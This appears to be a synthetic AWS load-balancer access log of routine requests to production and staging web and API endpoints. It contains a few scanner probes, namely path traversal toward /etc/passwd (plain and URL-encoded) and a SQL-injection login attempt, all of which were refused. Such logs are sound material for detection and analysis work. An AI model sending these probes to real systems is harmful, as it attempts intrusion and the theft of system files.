2024-11-01T01:08:20.382246Z prod-api-alb 207.149.148.246:13519 10.0.130.113:443 0.026724 0.246338 0.097795 200 200 720 2776 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c794-1a264e21f8d34e48853fb933" "prod-api-alb.example.com" "-" 7 2024-11-01T01:08:20.382246Z "forward" "-" "-" "10.0.130.113:443" "200" "-" "-" +https 2024-11-01T01:08:21.202418Z staging-alb 140.115.144.243:14781 84.55.93.85:80 0.059770 0.477051 0.069315 200 200 253 10230 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c795-d244718f4da34e138a548102" "staging-alb.example.com" "-" 4 2024-11-01T01:08:21.202418Z "forward" "-" "-" "84.55.93.85:80" "200" "-" "-" +http 2024-11-01T01:08:22.607174Z staging-alb 236.221.203.39:47297 181.212.51.240:80 0.134066 0.461297 0.020548 200 200 472 1685 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c796-c35cc4cbfbd44be6a3a871ae" "staging-alb.example.com" "-" 4 2024-11-01T01:08:22.607174Z "forward" "-" "-" "181.212.51.240:80" "200" "-" "-" +https 2024-11-01T01:08:24.020640Z prod-web-alb 118.76.210.121:52716 10.0.93.113:443 0.071415 0.498829 0.079787 301 301 748 8420 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c798-7d218d646200468e8bfb239f" "prod-web-alb.example.com" "-" 1 2024-11-01T01:08:24.020640Z "forward" "-" "-" "10.0.93.113:443" "301" "-" "-" +https 2024-11-01T01:08:25.670157Z prod-web-alb 225.178.0.209:46837 10.0.154.253:443 0.098760 0.155509 0.000167 301 301 563 12965 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c799-ffbb7f1d803042fca411ab25" "prod-web-alb.example.com" "-" 2 2024-11-01T01:08:25.670157Z "forward" "-" "-" "10.0.154.253:443" "301" "-" "-" +https 2024-11-01T01:08:26.074147Z prod-api-alb 35.166.190.226:18958 10.0.74.219:443 0.070892 0.446198 0.089842 200 200 678 12185 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c79a-3c2b3bcea3d644d9ae147fb0" "prod-api-alb.example.com" "-" 5 2024-11-01T01:08:26.074147Z "forward" "-" "-" "10.0.74.219:443" "200" "-" "-" +https 2024-11-01T01:08:26.553798Z staging-alb 132.28.162.249:10521 245.54.243.73:443 0.101742 0.619736 0.059987 404 404 619 12936 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c79a-c6f72dae7b624a2e869fe62a" "staging-alb.example.com" "-" 4 2024-11-01T01:08:26.553798Z "forward" "-" "-" "245.54.243.73:443" "404" "-" "-" +https 2024-11-01T01:08:27.286157Z prod-web-alb 104.34.124.244:62810 10.0.121.42:443 0.059105 0.165962 0.069734 200 200 355 6499 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c79b-cc768cbd83774abea6c57b91" "-" "-" 9 2024-11-01T01:08:27.286157Z "forward" "-" "-" "10.0.121.42:443" "200" "-" "-" +http 2024-11-01T01:08:27.696333Z staging-alb 169.27.95.39:62135 208.206.247.47:443 0.139440 0.545404 0.148788 200 200 62 9902 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c79b-5b5c9483e72c4ff1b3e41340" "staging-alb.example.com" "-" 5 2024-11-01T01:08:27.696333Z "forward" "-" "-" "208.206.247.47:443" "200" "-" "-" +http 2024-11-01T01:08:27.806106Z staging-alb 45.61.15.207:62639 254.32.155.154:80 0.122378 0.005169 0.055752 200 200 389 13978 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c79b-6f34260e4eef447586bd4431" "staging-alb.example.com" "-" 7 2024-11-01T01:08:27.806106Z "forward" "-" "-" "254.32.155.154:80" "200" "-" "-" +http 2024-11-01T01:08:28.326847Z staging-alb 67.124.34.179:26971 236.148.32.133:8080 0.106177 0.608969 0.142375 200 200 324 13247 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c79c-2e5a1e045816485a9c77b1da" "staging-alb.example.com" "-" 6 2024-11-01T01:08:28.326847Z "forward" "-" "-" "236.148.32.133:8080" "200" "-" "-" +https 2024-11-01T01:08:29.734089Z prod-api-alb 151.61.114.229:26573 10.0.92.91:443 0.090910 0.248160 0.047914 302 302 54 6217 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c79d-0d99f4f7aec14365b7522c8b" "prod-api-alb.example.com" "-" 2 2024-11-01T01:08:29.734089Z "forward" "-" "-" "10.0.92.91:443" "302" "-" "-" +https 2024-11-01T01:08:30.482959Z prod-api-alb 126.157.109.158:14159 10.0.114.22:443 0.057708 0.143844 0.081376 200 200 912 13637 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c79e-566b586ce7234eea938f0419" "prod-api-alb.example.com" "-" 10 2024-11-01T01:08:30.482959Z "forward" "-" "-" "10.0.114.22:443" "200" "-" "-" +https 2024-11-01T01:08:30.849103Z staging-alb 243.6.171.134:61437 15.209.164.172:80 0.138123 0.402743 0.054722 301 301 274 9615 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c79e-fb79c15eaf8a432c90c96da1" "staging-alb.example.com" "-" 1 2024-11-01T01:08:30.849103Z "forward" "-" "-" "15.209.164.172:80" "301" "-" "-" +https 2024-11-01T01:08:32.596535Z staging-alb 219.143.189.157:30554 250.55.159.233:80 0.076822 0.315646 0.007519 301 301 57 11029 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7a0-48829116070e40ed8b01b6c8" "staging-alb.example.com" "-" 9 2024-11-01T01:08:32.596535Z "forward" "-" "-" "250.55.159.233:80" "301" "-" "-" +https 2024-11-01T01:08:33.419060Z staging-alb 29.170.132.24:42124 244.37.70.206:443 0.073593 0.726213 0.127015 200 200 717 6324 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7a1-e118ebcd11c14a29b15423cd" "staging-alb.example.com" "-" 7 2024-11-01T01:08:33.419060Z "forward" "-" "-" "244.37.70.206:443" "200" "-" "-" +https 2024-11-01T01:08:34.894391Z staging-alb 232.31.22.237:47945 20.21.47.127:80 0.112878 0.417621 0.057227 200 200 367 1288 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7a2-d05a6b35ff4c4e7f9876f6ec" "staging-alb.example.com" "-" 3 2024-11-01T01:08:34.894391Z "forward" "-" "-" "20.21.47.127:80" "200" "-" "-" +http 2024-11-01T01:08:35.688620Z staging-alb 243.138.34.208:51431 67.29.173.250:80 0.077363 0.367034 0.127733 200 200 8 9901 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7a3-fb4ae8971c094f939f42d63b" "staging-alb.example.com" "-" 1 2024-11-01T01:08:35.688620Z "forward" "-" "-" "67.29.173.250:80" "200" "-" "-" +https 2024-11-01T01:08:35.832904Z prod-web-alb 120.51.108.14:41127 10.0.76.197:443 0.069396 0.243119 0.029075 404 404 309 4616 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7a3-fa2dc5c93945424490ecaf59" "prod-web-alb.example.com" "-" 10 2024-11-01T01:08:35.832904Z "forward" "-" "-" "10.0.76.197:443" "404" "-" "-" +https 2024-11-01T01:08:37.574286Z prod-api-alb 4.98.8.26:48618 10.0.32.180:443 0.078843 0.468506 0.009545 200 200 333 11533 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7a5-e557042ba6414b11803e5934" "prod-api-alb.example.com" "-" 6 2024-11-01T01:08:37.574286Z "forward" "-" "-" "10.0.32.180:443" "200" "-" "-" +http 2024-11-01T01:08:39.564356Z staging-alb 113.198.108.126:49328 55.201.24.44:8080 0.105583 0.486676 0.096207 200 200 483 6734 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7a7-6c52c8df79314fa19f3fe125" "staging-alb.example.com" "-" 9 2024-11-01T01:08:39.564356Z "forward" "-" "-" "55.201.24.44:8080" "200" "-" "-" +https 2024-11-01T01:08:41.399447Z prod-api-alb 250.55.6.136:40693 10.0.107.241:443 0.088474 0.301224 0.080429 200 200 676 6056 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7a9-ef9657463e0a42ae92eff319" "prod-api-alb.example.com" "-" 6 2024-11-01T01:08:41.399447Z "forward" "-" "-" "10.0.107.241:443" "200" "-" "-" +http 2024-11-01T01:08:41.865141Z staging-alb 249.134.119.206:43999 21.138.211.154:8080 0.014497 0.737735 0.076373 200 200 778 3026 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7a9-811d36e3b8ea445db7ddcbcb" "staging-alb.example.com" "-" 7 2024-11-01T01:08:41.865141Z "forward" "-" "-" "21.138.211.154:8080" "200" "-" "-" +https 2024-11-01T01:08:42.064030Z prod-api-alb 218.167.193.59:34821 10.0.80.25:443 0.035304 0.335811 0.049868 200 200 178 13157 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7aa-71b53233efb649ba93ab6e9e" "prod-api-alb.example.com" "-" 2 2024-11-01T01:08:42.064030Z "forward" "-" "-" "10.0.80.25:443" "200" "-" "-" +http 2024-11-01T01:08:43.151903Z staging-alb 21.46.88.216:10783 141.130.252.54:8080 0.043059 0.435930 0.045626 404 404 921 613 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7ab-707b53e791434ab1847a9dd9" "staging-alb.example.com" "-" 2 2024-11-01T01:08:43.151903Z "forward" "-" "-" "141.130.252.54:8080" "404" "-" "-" +https 2024-11-01T01:08:43.357759Z prod-api-alb 23.86.183.13:39053 10.0.74.97:443 0.009569 0.401386 0.040708 302 302 300 11873 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7ab-282f5bb8ef6344ee9f118717" "prod-api-alb.example.com" "-" 8 2024-11-01T01:08:43.357759Z "forward" "-" "-" "10.0.74.97:443" "302" "-" "-" +https 2024-11-01T01:08:44.622675Z prod-web-alb 0.21.226.99:26133 10.0.37.134:443 0.088731 0.374667 0.053018 200 200 346 5516 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7ac-ba434b41e9384c47a29a9ff8" "prod-web-alb.example.com" "-" 10 2024-11-01T01:08:44.622675Z "forward" "-" "-" "10.0.37.134:443" "200" "-" "-" +https 2024-11-01T01:08:45.701246Z prod-web-alb 127.27.218.156:50712 10.0.7.188:443 0.086361 0.453953 0.075904 200 200 910 14328 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7ad-b1df977d0bc2425da961c6d2" "prod-web-alb.example.com" "-" 6 2024-11-01T01:08:45.701246Z "forward" "-" "-" "10.0.7.188:443" "200" "-" "-" +https 2024-11-01T01:08:45.802974Z prod-api-alb 8.77.146.180:16612 10.0.79.60:443 0.013860 0.346508 0.040610 200 200 99 4981 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7ad-7fc1ce409a714f6f8de289a7" "prod-api-alb.example.com" "-" 7 2024-11-01T01:08:45.802974Z "forward" "-" "-" "10.0.79.60:443" "200" "-" "-" +https 2024-11-01T01:08:47.182808Z prod-web-alb 154.32.178.96:60676 10.0.157.103:443 0.068661 0.011576 0.053730 200 200 958 8696 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7af-9130e7655e9641f28160bc04" "prod-web-alb.example.com" "-" 2 2024-11-01T01:08:47.182808Z "forward" "-" "-" "10.0.157.103:443" "200" "-" "-" +http 2024-11-01T01:08:48.616744Z staging-alb 185.181.15.100:45985 146.105.32.92:8080 0.135895 0.588571 0.143765 301 301 366 9029 "GET /admin HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7b0-e45153af5a1945d29e9ef66c" "-" "-" 6 2024-11-01T01:08:48.616744Z "forward" "-" "-" "146.105.32.92:8080" "301" "-" "-" +https 2024-11-01T01:08:48.879002Z prod-api-alb 45.155.205.51:34508 10.0.224.102:443 0.094011 0.325655 0.065153 404 404 223 1470 "GET /../../../etc/passwd HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7b0-e8bca422d99a4e1396f12c2e" "-" "-" 5 2024-11-01T01:08:48.879002Z "forward" "-" "-" "10.0.224.102:443" "404" "-" "-" +https 2024-11-01T01:08:49.024675Z prod-api-alb 160.211.61.205:57887 10.0.140.57:443 0.089338 0.217460 0.066148 200 200 105 7263 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7b1-ff4decfbd9e44b5590b3bade" "prod-api-alb.example.com" "-" 2 2024-11-01T01:08:49.024675Z "forward" "-" "-" "10.0.140.57:443" "200" "-" "-" +https 2024-11-01T01:08:49.188946Z prod-web-alb 89.54.88.220:17556 10.0.46.4:443 0.005452 0.374875 0.024037 200 200 398 14733 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7b1-b25ba9c8b151439fbc133c1e" "prod-web-alb.example.com" "-" 9 2024-11-01T01:08:49.188946Z "forward" "-" "-" "10.0.46.4:443" "200" "-" "-" +https 2024-11-01T01:08:49.742263Z staging-alb 161.36.105.217:14232 75.69.99.222:443 0.125477 0.047602 0.108298 200 200 943 4702 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7b1-a062f5d186a44a10ad669a0b" "staging-alb.example.com" "-" 0 2024-11-01T01:08:49.742263Z "forward" "-" "-" "75.69.99.222:443" "200" "-" "-" +http 2024-11-01T01:08:50.077109Z staging-alb 21.124.16.134:26578 129.13.39.38:443 0.091139 0.097836 0.098100 302 302 764 9663 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c7b2-294b90c1b5bf4f5cbab2a42a" "staging-alb.example.com" "-" 4 2024-11-01T01:08:50.077109Z "forward" "-" "-" "129.13.39.38:443" "302" "-" "-" +https 2024-11-01T01:08:51.562872Z staging-alb 228.128.50.75:17757 63.164.36.85:8080 0.013022 0.570209 0.001207 200 200 935 1454 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7b3-3782b1e2ff3649f39d98f63d" "staging-alb.example.com" "-" 8 2024-11-01T01:08:51.562872Z "forward" "-" "-" "63.164.36.85:8080" "200" "-" "-" +https 2024-11-01T01:08:52.600063Z staging-alb 109.20.27.63:41940 66.151.147.156:80 0.091363 0.505847 0.000616 301 301 313 11192 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7b4-ddf19a7a69e74d819f91912f" "staging-alb.example.com" "-" 3 2024-11-01T01:08:52.600063Z "forward" "-" "-" "66.151.147.156:80" "301" "-" "-" +https 2024-11-01T01:08:53.097082Z prod-web-alb 193.27.228.131:14078 10.0.104.9:443 0.052348 0.243680 0.075946 403 403 103 3636 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7b5-6143e8dd1fb84b409dcddc61" "-" "-" 10 2024-11-01T01:08:53.097082Z "forward" "-" "-" "10.0.104.9:443" "403" "-" "-" +https 2024-11-01T01:08:54.090825Z prod-api-alb 134.252.81.219:46604 10.0.191.209:443 0.037282 0.147629 0.067807 404 404 1 3949 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7b6-c0d807e8bcb9482f8cd32381" "prod-api-alb.example.com" "-" 7 2024-11-01T01:08:54.090825Z "forward" "-" "-" "10.0.191.209:443" "404" "-" "-" +https 2024-11-01T01:08:55.313288Z prod-api-alb 193.27.228.135:11292 10.0.109.92:443 0.014789 0.329577 0.024693 404 404 11 2339 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7b7-598485c3194343a387a1f396" "-" "-" 3 2024-11-01T01:08:55.313288Z "forward" "-" "-" "10.0.109.92:443" "404" "-" "-" +https 2024-11-01T01:08:56.507540Z prod-web-alb 46.180.245.239:20289 10.0.150.3:443 0.059858 0.004707 0.025214 200 200 401 2755 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c7b8-d3018fa248a5444ca046c3ab" "prod-web-alb.example.com" "-" 4 2024-11-01T01:08:56.507540Z "forward" "-" "-" "10.0.150.3:443" "200" "-" "-" +https 2024-11-01T01:08:57.404838Z prod-web-alb 252.51.159.78:58972 10.0.242.23:443 0.066707 0.136628 0.077893 200 200 924 13600 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7b9-5fff680a92e34b3380e59b43" "prod-web-alb.example.com" "-" 7 2024-11-01T01:08:57.404838Z "forward" "-" "-" "10.0.242.23:443" "200" "-" "-" +https 2024-11-01T01:08:58.462866Z prod-web-alb 155.181.92.33:33262 10.0.133.120:443 0.045413 0.353356 0.020989 200 200 795 9091 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c7ba-6a10b4b8df554c2999546b90" "prod-web-alb.example.com" "-" 7 2024-11-01T01:08:58.462866Z "forward" "-" "-" "10.0.133.120:443" "200" "-" "-" +https 2024-11-01T01:08:59.326990Z prod-api-alb 21.99.118.204:14668 10.0.111.101:443 0.026711 0.164141 0.089727 301 301 623 14279 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7bb-f3fc01e058f348b3826e749a" "prod-api-alb.example.com" "-" 10 2024-11-01T01:08:59.326990Z "forward" "-" "-" "10.0.111.101:443" "301" "-" "-" +https 2024-11-01T01:09:00.537317Z prod-api-alb 78.114.202.238:40729 10.0.2.162:443 0.080740 0.210691 0.015924 302 302 511 11971 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c7bc-9648a0544c1a4bb59aa1b0a6" "prod-api-alb.example.com" "-" 9 2024-11-01T01:09:00.537317Z "forward" "-" "-" "10.0.2.162:443" "302" "-" "-" +https 2024-11-01T01:09:02.134460Z prod-api-alb 149.231.34.135:25255 10.0.247.77:443 0.055682 0.216856 0.023802 301 301 598 13256 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c7be-2492902cc52649d382c7be9c" "prod-api-alb.example.com" "-" 1 2024-11-01T01:09:02.134460Z "forward" "-" "-" "10.0.247.77:443" "301" "-" "-" +https 2024-11-01T01:09:02.550144Z staging-alb 5.241.10.9:14524 182.116.233.131:443 0.131196 0.355796 0.096746 200 200 498 11515 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c7be-85584c7f32fd48ada68ca218" "staging-alb.example.com" "-" 7 2024-11-01T01:09:02.550144Z "forward" "-" "-" "182.116.233.131:443" "200" "-" "-" +https 2024-11-01T01:09:03.026413Z prod-api-alb 8.152.144.90:61936 10.0.47.99:443 0.099569 0.167246 0.024889 200 200 76 12969 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 